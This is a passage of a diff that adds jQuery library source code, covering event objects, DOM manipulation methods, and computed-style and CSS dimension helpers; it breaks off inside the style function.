+		click: {
+
+			// For checkbox, fire native event so checked state will be right
+			trigger: function() {
+				if ( this.type === "checkbox" && this.click && jQuery.nodeName( this, "input" ) ) {
+					this.click();
+					return false;
+				}
+			},
+
+			// For cross-browser consistency, don't fire native .click() on links
+			_default: function( event ) {
+				return jQuery.nodeName( event.target, "a" );
+			}
+		},
+
+		beforeunload: {
+			postDispatch: function( event ) {
+
+				// Support: Firefox 20+
+				// Firefox doesn't alert if the returnValue field is not set.
+				if ( event.result !== undefined && event.originalEvent ) {
+					event.originalEvent.returnValue = event.result;
+				}
+			}
+		}
+	}
+};
+
+jQuery.removeEvent = function( elem, type, handle ) {
+
+	// This "if" is needed for plain objects
+	if ( elem.removeEventListener ) {
+		elem.removeEventListener( type, handle );
+	}
+};
+
+jQuery.Event = function( src, props ) {
+
+	// Allow instantiation without the 'new' keyword
+	if ( !( this instanceof jQuery.Event ) ) {
+		return new jQuery.Event( src, props );
+	}
+
+	// Event object
+	if ( src && src.type ) {
+		this.originalEvent = src;
+		this.type = src.type;
+
+		// Events bubbling up the document may have been marked as prevented
+		// by a handler lower down the tree; reflect the correct value.
+		this.isDefaultPrevented = src.defaultPrevented ||
+				src.defaultPrevented === undefined &&
+
+				// Support: Android<4.0
+				src.returnValue === false ?
+			returnTrue :
+			returnFalse;
+
+	// Event type
+	} else {
+		this.type = src;
+	}
+
+	// Put explicitly provided properties onto the event object
+	if ( props ) {
+		jQuery.extend( this, props );
+	}
+
+	// Create a timestamp if incoming event doesn't have one
+	this.timeStamp = src && src.timeStamp || jQuery.now();
+
+	// Mark it as fixed
+	this[ jQuery.expando ] = true;
+};
+
+// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
+// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
+jQuery.Event.prototype = {
+	constructor: jQuery.Event,
+	isDefaultPrevented: returnFalse,
+	isPropagationStopped: returnFalse,
+	isImmediatePropagationStopped: returnFalse,
+
+	preventDefault: function() {
+		var e = this.originalEvent;
+
+		this.isDefaultPrevented = returnTrue;
+
+		if ( e ) {
+			e.preventDefault();
+		}
+	},
+	stopPropagation: function() {
+		var e = this.originalEvent;
+
+		this.isPropagationStopped = returnTrue;
+
+		if ( e ) {
+			e.stopPropagation();
+		}
+	},
+	stopImmediatePropagation: function() {
+		var e = this.originalEvent;
+
+		this.isImmediatePropagationStopped = returnTrue;
+
+		if ( e ) {
+			e.stopImmediatePropagation();
+		}
+
+		this.stopPropagation();
+	}
+};
+
+// Create mouseenter/leave events using mouseover/out and event-time checks
+// so that event delegation works in jQuery.
+// Do the same for pointerenter/pointerleave and pointerover/pointerout
+//
+// Support: Safari 7 only
+// Safari sends mouseenter too often; see:
+// https://code.google.com/p/chromium/issues/detail?id=470258
+// for the description of the bug (it existed in older Chrome versions as well).
+jQuery.each( {
+	mouseenter: "mouseover",
+	mouseleave: "mouseout",
+	pointerenter: "pointerover",
+	pointerleave: "pointerout"
+}, function( orig, fix ) {
+	jQuery.event.special[ orig ] = {
+		delegateType: fix,
+		bindType: fix,
+
+		handle: function( event ) {
+			var ret,
+				target = this,
+				related = event.relatedTarget,
+				handleObj = event.handleObj;
+
+			// For mouseenter/leave call the handler if related is outside the target.
+			// NB: No relatedTarget if the mouse left/entered the browser window
+			if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {
+				event.type = handleObj.origType;
+				ret = handleObj.handler.apply( this, arguments );
+				event.type = fix;
+			}
+			return ret;
+		}
+	};
+} );
+
+jQuery.fn.extend( {
+	on: function( types, selector, data, fn ) {
+		return on( this, types, selector, data, fn );
+	},
+	one: function( types, selector, data, fn ) {
+		return on( this, types, selector, data, fn, 1 );
+	},
+	off: function( types, selector, fn ) {
+		var handleObj, type;
+		if ( types && types.preventDefault && types.handleObj ) {
+
+			// ( event )  dispatched jQuery.Event
+			handleObj = types.handleObj;
+			jQuery( types.delegateTarget ).off(
+				handleObj.namespace ?
+					handleObj.origType + "." + handleObj.namespace :
+					handleObj.origType,
+				handleObj.selector,
+				handleObj.handler
+			);
+			return this;
+		}
+		if ( typeof types === "object" ) {
+
+			// ( types-object [, selector] )
+			for ( type in types ) {
+				this.off( type, selector, types[ type ] );
+			}
+			return this;
+		}
+		if ( selector === false || typeof selector === "function" ) {
+
+			// ( types [, fn] )
+			fn = selector;
+			selector = undefined;
+		}
+		if ( fn === false ) {
+			fn = returnFalse;
+		}
+		return this.each( function() {
+			jQuery.event.remove( this, types, fn, selector );
+		} );
+	}
+} );
+
+
+var
+	rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,
+
+	// Support: IE 10-11, Edge 10240+
+	// In IE/Edge using regex groups here causes severe slowdowns.
+	// See https://connect.microsoft.com/IE/feedback/details/1736512/
+	rnoInnerhtml = /<script|<style|<link/i,
+
+	// checked="checked" or checked
+	rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
+	rscriptTypeMasked = /^true\/(.*)/,
+	rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;
+
+function manipulationTarget( elem, content ) {
+	if ( jQuery.nodeName( elem, "table" ) &&
+		jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) {
+
+		return elem.getElementsByTagName( "tbody" )[ 0 ] || elem;
+	}
+
+	return elem;
+}
+
+// Replace/restore the type attribute of script elements for safe DOM manipulation
+function disableScript( elem ) {
+	elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type;
+	return elem;
+}
+function restoreScript( elem ) {
+	var match = rscriptTypeMasked.exec( elem.type );
+
+	if ( match ) {
+		elem.type = match[ 1 ];
+	} else {
+		elem.removeAttribute( "type" );
+	}
+
+	return elem;
+}
+
+function cloneCopyEvent( src, dest ) {
+	var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;
+
+	if ( dest.nodeType !== 1 ) {
+		return;
+	}
+
+	// 1. Copy private data: events, handlers, etc.
+	if ( dataPriv.hasData( src ) ) {
+		pdataOld = dataPriv.access( src );
+		pdataCur = dataPriv.set( dest, pdataOld );
+		events = pdataOld.events;
+
+		if ( events ) {
+			delete pdataCur.handle;
+			pdataCur.events = {};
+
+			for ( type in events ) {
+				for ( i = 0, l = events[ type ].length; i < l; i++ ) {
+					jQuery.event.add( dest, type, events[ type ][ i ] );
+				}
+			}
+		}
+	}
+
+	// 2. Copy user data
+	if ( dataUser.hasData( src ) ) {
+		udataOld = dataUser.access( src );
+		udataCur = jQuery.extend( {}, udataOld );
+
+		dataUser.set( dest, udataCur );
+	}
+}
+
+// Fix IE bugs, see support tests
+function fixInput( src, dest ) {
+	var nodeName = dest.nodeName.toLowerCase();
+
+	// Fails to persist the checked state of a cloned checkbox or radio button.
+	if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
+		dest.checked = src.checked;
+
+	// Fails to return the selected option to the default selected state when cloning options
+	} else if ( nodeName === "input" || nodeName === "textarea" ) {
+		dest.defaultValue = src.defaultValue;
+	}
+}
+
+function domManip( collection, args, callback, ignored ) {
+
+	// Flatten any nested arrays
+	args = concat.apply( [], args );
+
+	var fragment, first, scripts, hasScripts, node, doc,
+		i = 0,
+		l = collection.length,
+		iNoClone = l - 1,
+		value = args[ 0 ],
+		isFunction = jQuery.isFunction( value );
+
+	// We can't cloneNode fragments that contain checked, in WebKit
+	if ( isFunction ||
+			( l > 1 && typeof value === "string" &&
+				!support.checkClone && rchecked.test( value ) ) ) {
+		return collection.each( function( index ) {
+			var self = collection.eq( index );
+			if ( isFunction ) {
+				args[ 0 ] = value.call( this, index, self.html() );
+			}
+			domManip( self, args, callback, ignored );
+		} );
+	}
+
+	if ( l ) {
+		fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );
+		first = fragment.firstChild;
+
+		if ( fragment.childNodes.length === 1 ) {
+			fragment = first;
+		}
+
+		// Require either new content or an interest in ignored elements to invoke the callback
+		if ( first || ignored ) {
+			scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
+			hasScripts = scripts.length;
+
+			// Use the original fragment for the last item
+			// instead of the first because it can end up
+			// being emptied incorrectly in certain situations (#8070).
+			for ( ; i < l; i++ ) {
+				node = fragment;
+
+				if ( i !== iNoClone ) {
+					node = jQuery.clone( node, true, true );
+
+					// Keep references to cloned scripts for later restoration
+					if ( hasScripts ) {
+
+						// Support: Android<4.1, PhantomJS<2
+						// push.apply(_, arraylike) throws on ancient WebKit
+						jQuery.merge( scripts, getAll( node, "script" ) );
+					}
+				}
+
+				callback.call( collection[ i ], node, i );
+			}
+
+			if ( hasScripts ) {
+				doc = scripts[ scripts.length - 1 ].ownerDocument;
+
+				// Reenable scripts
+				jQuery.map( scripts, restoreScript );
+
+				// Evaluate executable scripts on first document insertion
+				for ( i = 0; i < hasScripts; i++ ) {
+					node = scripts[ i ];
+					if ( rscriptType.test( node.type || "" ) &&
+						!dataPriv.access( node, "globalEval" ) &&
+						jQuery.contains( doc, node ) ) {
+
+						if ( node.src ) {
+
+							// Optional AJAX dependency, but won't run scripts if not present
+							if ( jQuery._evalUrl ) {
+								jQuery._evalUrl( node.src );
+							}
+						} else {
+							jQuery.globalEval( node.textContent.replace( rcleanScript, "" ) );
+						}
+					}
+				}
+			}
+		}
+	}
+
+	return collection;
+}
+
+function remove( elem, selector, keepData ) {
+	var node,
+		nodes = selector ? jQuery.filter( selector, elem ) : elem,
+		i = 0;
+
+	for ( ; ( node = nodes[ i ] ) != null; i++ ) {
+		if ( !keepData && node.nodeType === 1 ) {
+			jQuery.cleanData( getAll( node ) );
+		}
+
+		if ( node.parentNode ) {
+			if ( keepData && jQuery.contains( node.ownerDocument, node ) ) {
+				setGlobalEval( getAll( node, "script" ) );
+			}
+			node.parentNode.removeChild( node );
+		}
+	}
+
+	return elem;
+}
+
+jQuery.extend( {
+	htmlPrefilter: function( html ) {
+		return html.replace( rxhtmlTag, "<$1></$2>" );
+	},
+
+	clone: function( elem, dataAndEvents, deepDataAndEvents ) {
+		var i, l, srcElements, destElements,
+			clone = elem.cloneNode( true ),
+			inPage = jQuery.contains( elem.ownerDocument, elem );
+
+		// Fix IE cloning issues
+		if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&
+				!jQuery.isXMLDoc( elem ) ) {
+
+			// We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2
+			destElements = getAll( clone );
+			srcElements = getAll( elem );
+
+			for ( i = 0, l = srcElements.length; i < l; i++ ) {
+				fixInput( srcElements[ i ], destElements[ i ] );
+			}
+		}
+
+		// Copy the events from the original to the clone
+		if ( dataAndEvents ) {
+			if ( deepDataAndEvents ) {
+				srcElements = srcElements || getAll( elem );
+				destElements = destElements || getAll( clone );
+
+				for ( i = 0, l = srcElements.length; i < l; i++ ) {
+					cloneCopyEvent( srcElements[ i ], destElements[ i ] );
+				}
+			} else {
+				cloneCopyEvent( elem, clone );
+			}
+		}
+
+		// Preserve script evaluation history
+		destElements = getAll( clone, "script" );
+		if ( destElements.length > 0 ) {
+			setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
+		}
+
+		// Return the cloned set
+		return clone;
+	},
+
+	cleanData: function( elems ) {
+		var data, elem, type,
+			special = jQuery.event.special,
+			i = 0;
+
+		for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {
+			if ( acceptData( elem ) ) {
+				if ( ( data = elem[ dataPriv.expando ] ) ) {
+					if ( data.events ) {
+						for ( type in data.events ) {
+							if ( special[ type ] ) {
+								jQuery.event.remove( elem, type );
+
+							// This is a shortcut to avoid jQuery.event.remove's overhead
+							} else {
+								jQuery.removeEvent( elem, type, data.handle );
+							}
+						}
+					}
+
+					// Support: Chrome <= 35-45+
+					// Assign undefined instead of using delete, see Data#remove
+					elem[ dataPriv.expando ] = undefined;
+				}
+				if ( elem[ dataUser.expando ] ) {
+
+					// Support: Chrome <= 35-45+
+					// Assign undefined instead of using delete, see Data#remove
+					elem[ dataUser.expando ] = undefined;
+				}
+			}
+		}
+	}
+} );
+
+jQuery.fn.extend( {
+
+	// Keep domManip exposed until 3.0 (gh-2225)
+	domManip: domManip,
+
+	detach: function( selector ) {
+		return remove( this, selector, true );
+	},
+
+	remove: function( selector ) {
+		return remove( this, selector );
+	},
+
+	text: function( value ) {
+		return access( this, function( value ) {
+			return value === undefined ?
+				jQuery.text( this ) :
+				this.empty().each( function() {
+					if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
+						this.textContent = value;
+					}
+				} );
+		}, null, value, arguments.length );
+	},
+
+	append: function() {
+		return domManip( this, arguments, function( elem ) {
+			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
+				var target = manipulationTarget( this, elem );
+				target.appendChild( elem );
+			}
+		} );
+	},
+
+	prepend: function() {
+		return domManip( this, arguments, function( elem ) {
+			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
+				var target = manipulationTarget( this, elem );
+				target.insertBefore( elem, target.firstChild );
+			}
+		} );
+	},
+
+	before: function() {
+		return domManip( this, arguments, function( elem ) {
+			if ( this.parentNode ) {
+				this.parentNode.insertBefore( elem, this );
+			}
+		} );
+	},
+
+	after: function() {
+		return domManip( this, arguments, function( elem ) {
+			if ( this.parentNode ) {
+				this.parentNode.insertBefore( elem, this.nextSibling );
+			}
+		} );
+	},
+
+	empty: function() {
+		var elem,
+			i = 0;
+
+		for ( ; ( elem = this[ i ] ) != null; i++ ) {
+			if ( elem.nodeType === 1 ) {
+
+				// Prevent memory leaks
+				jQuery.cleanData( getAll( elem, false ) );
+
+				// Remove any remaining nodes
+				elem.textContent = "";
+			}
+		}
+
+		return this;
+	},
+
+	clone: function( dataAndEvents, deepDataAndEvents ) {
+		dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
+		deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
+
+		return this.map( function() {
+			return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
+		} );
+	},
+
+	html: function( value ) {
+		return access( this, function( value ) {
+			var elem = this[ 0 ] || {},
+				i = 0,
+				l = this.length;
+
+			if ( value === undefined && elem.nodeType === 1 ) {
+				return elem.innerHTML;
+			}
+
+			// See if we can take a shortcut and just use innerHTML
+			if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
+				!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
+
+				value = jQuery.htmlPrefilter( value );
+
+				try {
+					for ( ; i < l; i++ ) {
+						elem = this[ i ] || {};
+
+						// Remove element nodes and prevent memory leaks
+						if ( elem.nodeType === 1 ) {
+							jQuery.cleanData( getAll( elem, false ) );
+							elem.innerHTML = value;
+						}
+					}
+
+					elem = 0;
+
+				// If using innerHTML throws an exception, use the fallback method
+				} catch ( e ) {}
+			}
+
+			if ( elem ) {
+				this.empty().append( value );
+			}
+		}, null, value, arguments.length );
+	},
+
+	replaceWith: function() {
+		var ignored = [];
+
+		// Make the changes, replacing each non-ignored context element with the new content
+		return domManip( this, arguments, function( elem ) {
+			var parent = this.parentNode;
+
+			if ( jQuery.inArray( this, ignored ) < 0 ) {
+				jQuery.cleanData( getAll( this ) );
+				if ( parent ) {
+					parent.replaceChild( elem, this );
+				}
+			}
+
+		// Force callback invocation
+		}, ignored );
+	}
+} );
+
+jQuery.each( {
+	appendTo: "append",
+	prependTo: "prepend",
+	insertBefore: "before",
+	insertAfter: "after",
+	replaceAll: "replaceWith"
+}, function( name, original ) {
+	jQuery.fn[ name ] = function( selector ) {
+		var elems,
+			ret = [],
+			insert = jQuery( selector ),
+			last = insert.length - 1,
+			i = 0;
+
+		for ( ; i <= last; i++ ) {
+			elems = i === last ? this : this.clone( true );
+			jQuery( insert[ i ] )[ original ]( elems );
+
+			// Support: QtWebKit
+			// .get() because push.apply(_, arraylike) throws
+			push.apply( ret, elems.get() );
+		}
+
+		return this.pushStack( ret );
+	};
+} );
+
+
+var iframe,
+	elemdisplay = {
+
+		// Support: Firefox
+		// We have to pre-define these values for FF (#10227)
+		HTML: "block",
+		BODY: "block"
+	};
+
+/**
+ * Retrieve the actual display of a element
+ * @param {String} name nodeName of the element
+ * @param {Object} doc Document object
+ */
+
+// Called only from within defaultDisplay
+function actualDisplay( name, doc ) {
+	var elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),
+
+		display = jQuery.css( elem[ 0 ], "display" );
+
+	// We don't have any data stored on the element,
+	// so use "detach" method as fast way to get rid of the element
+	elem.detach();
+
+	return display;
+}
+
+/**
+ * Try to determine the default display value of an element
+ * @param {String} nodeName
+ */
+function defaultDisplay( nodeName ) {
+	var doc = document,
+		display = elemdisplay[ nodeName ];
+
+	if ( !display ) {
+		display = actualDisplay( nodeName, doc );
+
+		// If the simple way fails, read from inside an iframe
+		if ( display === "none" || !display ) {
+
+			// Use the already-created iframe if possible
+			iframe = ( iframe || jQuery( "<iframe frameborder='0' width='0' height='0'/>" ) )
+				.appendTo( doc.documentElement );
+
+			// Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse
+			doc = iframe[ 0 ].contentDocument;
+
+			// Support: IE
+			doc.write();
+			doc.close();
+
+			display = actualDisplay( nodeName, doc );
+			iframe.detach();
+		}
+
+		// Store the correct default display
+		elemdisplay[ nodeName ] = display;
+	}
+
+	return display;
+}
+var rmargin = ( /^margin/ );
+
+var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
+
+var getStyles = function( elem ) {
+
+		// Support: IE<=11+, Firefox<=30+ (#15098, #14150)
+		// IE throws on elements created in popups
+		// FF meanwhile throws on frame elements through "defaultView.getComputedStyle"
+		var view = elem.ownerDocument.defaultView;
+
+		if ( !view.opener ) {
+			view = window;
+		}
+
+		return view.getComputedStyle( elem );
+	};
+
+var swap = function( elem, options, callback, args ) {
+	var ret, name,
+		old = {};
+
+	// Remember the old values, and insert the new ones
+	for ( name in options ) {
+		old[ name ] = elem.style[ name ];
+		elem.style[ name ] = options[ name ];
+	}
+
+	ret = callback.apply( elem, args || [] );
+
+	// Revert the old values
+	for ( name in options ) {
+		elem.style[ name ] = old[ name ];
+	}
+
+	return ret;
+};
+
+
+var documentElement = document.documentElement;
+
+
+
+( function() {
+	var pixelPositionVal, boxSizingReliableVal, pixelMarginRightVal, reliableMarginLeftVal,
+		container = document.createElement( "div" ),
+		div = document.createElement( "div" );
+
+	// Finish early in limited (non-browser) environments
+	if ( !div.style ) {
+		return;
+	}
+
+	// Support: IE9-11+
+	// Style of cloned element affects source element cloned (#8908)
+	div.style.backgroundClip = "content-box";
+	div.cloneNode( true ).style.backgroundClip = "";
+	support.clearCloneStyle = div.style.backgroundClip === "content-box";
+
+	container.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;" +
+		"padding:0;margin-top:1px;position:absolute";
+	container.appendChild( div );
+
+	// Executing both pixelPosition & boxSizingReliable tests require only one layout
+	// so they're executed at the same time to save the second computation.
+	function computeStyleTests() {
+		div.style.cssText =
+
+			// Support: Firefox<29, Android 2.3
+			// Vendor-prefix box-sizing
+			"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;" +
+			"position:relative;display:block;" +
+			"margin:auto;border:1px;padding:1px;" +
+			"top:1%;width:50%";
+		div.innerHTML = "";
+		documentElement.appendChild( container );
+
+		var divStyle = window.getComputedStyle( div );
+		pixelPositionVal = divStyle.top !== "1%";
+		reliableMarginLeftVal = divStyle.marginLeft === "2px";
+		boxSizingReliableVal = divStyle.width === "4px";
+
+		// Support: Android 4.0 - 4.3 only
+		// Some styles come back with percentage values, even though they shouldn't
+		div.style.marginRight = "50%";
+		pixelMarginRightVal = divStyle.marginRight === "4px";
+
+		documentElement.removeChild( container );
+	}
+
+	jQuery.extend( support, {
+		pixelPosition: function() {
+
+			// This test is executed only once but we still do memoizing
+			// since we can use the boxSizingReliable pre-computing.
+			// No need to check if the test was already performed, though.
+			computeStyleTests();
+			return pixelPositionVal;
+		},
+		boxSizingReliable: function() {
+			if ( boxSizingReliableVal == null ) {
+				computeStyleTests();
+			}
+			return boxSizingReliableVal;
+		},
+		pixelMarginRight: function() {
+
+			// Support: Android 4.0-4.3
+			// We're checking for boxSizingReliableVal here instead of pixelMarginRightVal
+			// since that compresses better and they're computed together anyway.
+			if ( boxSizingReliableVal == null ) {
+				computeStyleTests();
+			}
+			return pixelMarginRightVal;
+		},
+		reliableMarginLeft: function() {
+
+			// Support: IE <=8 only, Android 4.0 - 4.3 only, Firefox <=3 - 37
+			if ( boxSizingReliableVal == null ) {
+				computeStyleTests();
+			}
+			return reliableMarginLeftVal;
+		},
+		reliableMarginRight: function() {
+
+			// Support: Android 2.3
+			// Check if div with explicit width and no margin-right incorrectly
+			// gets computed margin-right based on width of container. (#3333)
+			// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
+			// This support function is only executed once so no memoizing is needed.
+			var ret,
+				marginDiv = div.appendChild( document.createElement( "div" ) );
+
+			// Reset CSS: box-sizing; display; margin; border; padding
+			marginDiv.style.cssText = div.style.cssText =
+
+				// Support: Android 2.3
+				// Vendor-prefix box-sizing
+				"-webkit-box-sizing:content-box;box-sizing:content-box;" +
+				"display:block;margin:0;border:0;padding:0";
+			marginDiv.style.marginRight = marginDiv.style.width = "0";
+			div.style.width = "1px";
+			documentElement.appendChild( container );
+
+			ret = !parseFloat( window.getComputedStyle( marginDiv ).marginRight );
+
+			documentElement.removeChild( container );
+			div.removeChild( marginDiv );
+
+			return ret;
+		}
+	} );
+} )();
+
+
+function curCSS( elem, name, computed ) {
+	var width, minWidth, maxWidth, ret,
+		style = elem.style;
+
+	computed = computed || getStyles( elem );
+
+	// Support: IE9
+	// getPropertyValue is only needed for .css('filter') (#12537)
+	if ( computed ) {
+		ret = computed.getPropertyValue( name ) || computed[ name ];
+
+		if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) {
+			ret = jQuery.style( elem, name );
+		}
+
+		// A tribute to the "awesome hack by Dean Edwards"
+		// Android Browser returns percentage for some values,
+		// but width seems to be reliably pixels.
+		// This is against the CSSOM draft spec:
+		// http://dev.w3.org/csswg/cssom/#resolved-values
+		if ( !support.pixelMarginRight() && rnumnonpx.test( ret ) && rmargin.test( name ) ) {
+
+			// Remember the original values
+			width = style.width;
+			minWidth = style.minWidth;
+			maxWidth = style.maxWidth;
+
+			// Put in the new values to get a computed value out
+			style.minWidth = style.maxWidth = style.width = ret;
+			ret = computed.width;
+
+			// Revert the changed values
+			style.width = width;
+			style.minWidth = minWidth;
+			style.maxWidth = maxWidth;
+		}
+	}
+
+	return ret !== undefined ?
+
+		// Support: IE9-11+
+		// IE returns zIndex value as an integer.
+		ret + "" :
+		ret;
+}
+
+
+function addGetHookIf( conditionFn, hookFn ) {
+
+	// Define the hook, we'll check on the first run if it's really needed.
+	return {
+		get: function() {
+			if ( conditionFn() ) {
+
+				// Hook not needed (or it's not possible to use it due
+				// to missing dependency), remove it.
+				delete this.get;
+				return;
+			}
+
+			// Hook needed; redefine it so that the support test is not executed again.
+			return ( this.get = hookFn ).apply( this, arguments );
+		}
+	};
+}
+
+
+var
+
+	// Swappable if display is none or starts with table
+	// except "table", "table-cell", or "table-caption"
+	// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
+	rdisplayswap = /^(none|table(?!-c[ea]).+)/,
+
+	cssShow = { position: "absolute", visibility: "hidden", display: "block" },
+	cssNormalTransform = {
+		letterSpacing: "0",
+		fontWeight: "400"
+	},
+
+	cssPrefixes = [ "Webkit", "O", "Moz", "ms" ],
+	emptyStyle = document.createElement( "div" ).style;
+
+// Return a css property mapped to a potentially vendor prefixed property
+function vendorPropName( name ) {
+
+	// Shortcut for names that are not vendor prefixed
+	if ( name in emptyStyle ) {
+		return name;
+	}
+
+	// Check for vendor prefixed names
+	var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),
+		i = cssPrefixes.length;
+
+	while ( i-- ) {
+		name = cssPrefixes[ i ] + capName;
+		if ( name in emptyStyle ) {
+			return name;
+		}
+	}
+}
+
+function setPositiveNumber( elem, value, subtract ) {
+
+	// Any relative (+/-) values have already been
+	// normalized at this point
+	var matches = rcssNum.exec( value );
+	return matches ?
+
+		// Guard against undefined "subtract", e.g., when used as in cssHooks
+		Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) :
+		value;
+}
+
+function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
+	var i = extra === ( isBorderBox ? "border" : "content" ) ?
+
+		// If we already have the right measurement, avoid augmentation
+		4 :
+
+		// Otherwise initialize for horizontal or vertical properties
+		name === "width" ? 1 : 0,
+
+		val = 0;
+
+	for ( ; i < 4; i += 2 ) {
+
+		// Both box models exclude margin, so add it if we want it
+		if ( extra === "margin" ) {
+			val += jQuery.css( elem, extra + cssExpand[ i ], true, styles );
+		}
+
+		if ( isBorderBox ) {
+
+			// border-box includes padding, so remove it if we want content
+			if ( extra === "content" ) {
+				val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
+			}
+
+			// At this point, extra isn't border nor margin, so remove border
+			if ( extra !== "margin" ) {
+				val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
+			}
+		} else {
+
+			// At this point, extra isn't content, so add padding
+			val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
+
+			// At this point, extra isn't content nor padding, so add border
+			if ( extra !== "padding" ) {
+				val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
+			}
+		}
+	}
+
+	return val;
+}
+
+function getWidthOrHeight( elem, name, extra ) {
+
+	// Start with offset property, which is equivalent to the border-box value
+	var valueIsBorderBox = true,
+		val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
+		styles = getStyles( elem ),
+		isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box";
+
+	// Support: IE11 only
+	// In IE 11 fullscreen elements inside of an iframe have
+	// 100x too small dimensions (gh-1764).
+	if ( document.msFullscreenElement && window.top !== window ) {
+
+		// Support: IE11 only
+		// Running getBoundingClientRect on a disconnected node
+		// in IE throws an error.
+		if ( elem.getClientRects().length ) {
+			val = Math.round( elem.getBoundingClientRect()[ name ] * 100 );
+		}
+	}
+
+	// Some non-html elements return undefined for offsetWidth, so check for null/undefined
+	// svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285
+	// MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668
+	if ( val <= 0 || val == null ) {
+
+		// Fall back to computed then uncomputed css if necessary
+		val = curCSS( elem, name, styles );
+		if ( val < 0 || val == null ) {
+			val = elem.style[ name ];
+		}
+
+		// Computed unit is not pixels. Stop here and return.
+		if ( rnumnonpx.test( val ) ) {
+			return val;
+		}
+
+		// Check for style in case a browser which returns unreliable values
+		// for getComputedStyle silently falls back to the reliable elem.style
+		valueIsBorderBox = isBorderBox &&
+			( support.boxSizingReliable() || val === elem.style[ name ] );
+
+		// Normalize "", auto, and prepare for extra
+		val = parseFloat( val ) || 0;
+	}
+
+	// Use the active box-sizing model to add/subtract irrelevant styles
+	return ( val +
+		augmentWidthOrHeight(
+			elem,
+			name,
+			extra || ( isBorderBox ? "border" : "content" ),
+			valueIsBorderBox,
+			styles
+		)
+	) + "px";
+}
+
+function showHide( elements, show ) {
+	var display, elem, hidden,
+		values = [],
+		index = 0,
+		length = elements.length;
+
+	for ( ; index < length; index++ ) {
+		elem = elements[ index ];
+		if ( !elem.style ) {
+			continue;
+		}
+
+		values[ index ] = dataPriv.get( elem, "olddisplay" );
+		display = elem.style.display;
+		if ( show ) {
+
+			// Reset the inline display of this element to learn if it is
+			// being hidden by cascaded rules or not
+			if ( !values[ index ] && display === "none" ) {
+				elem.style.display = "";
+			}
+
+			// Set elements which have been overridden with display: none
+			// in a stylesheet to whatever the default browser style is
+			// for such an element
+			if ( elem.style.display === "" && isHidden( elem ) ) {
+				values[ index ] = dataPriv.access(
+					elem,
+					"olddisplay",
+					defaultDisplay( elem.nodeName )
+				);
+			}
+		} else {
+			hidden = isHidden( elem );
+
+			if ( display !== "none" || !hidden ) {
+				dataPriv.set(
+					elem,
+					"olddisplay",
+					hidden ? display : jQuery.css( elem, "display" )
+				);
+			}
+		}
+	}
+
+	// Set the display of most of the elements in a second loop
+	// to avoid the constant reflow
+	for ( index = 0; index < length; index++ ) {
+		elem = elements[ index ];
+		if ( !elem.style ) {
+			continue;
+		}
+		if ( !show || elem.style.display === "none" || elem.style.display === "" ) {
+			elem.style.display = show ? values[ index ] || "" : "none";
+		}
+	}
+
+	return elements;
+}
+
+jQuery.extend( {
+
+	// Add in style property hooks for overriding the default
+	// behavior of getting and setting a style property
+	cssHooks: {
+		opacity: {
+			get: function( elem, computed ) {
+				if ( computed ) {
+
+					// We should always get a number back from opacity
+					var ret = curCSS( elem, "opacity" );
+					return ret === "" ? "1" : ret;
+				}
+			}
+		}
+	},
+
+	// Don't automatically add "px" to these possibly-unitless properties
+	cssNumber: {
+		"animationIterationCount": true,
+		"columnCount": true,
+		"fillOpacity": true,
+		"flexGrow": true,
+		"flexShrink": true,
+		"fontWeight": true,
+		"lineHeight": true,
+		"opacity": true,
+		"order": true,
+		"orphans": true,
+		"widows": true,
+		"zIndex": true,
+		"zoom": true
+	},
+
+	// Add in properties whose names you wish to fix before
+	// setting or getting the value
+	cssProps: {
+		"float": "cssFloat"
+	},
+
+	// Get and set the style property on a DOM Node
+	style: function( elem, name, value, extra ) {
+
+		// Don't set styles on text and comment nodes
+		if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
+			return;
+		}
+
+		// Make sure that we're working with the right name
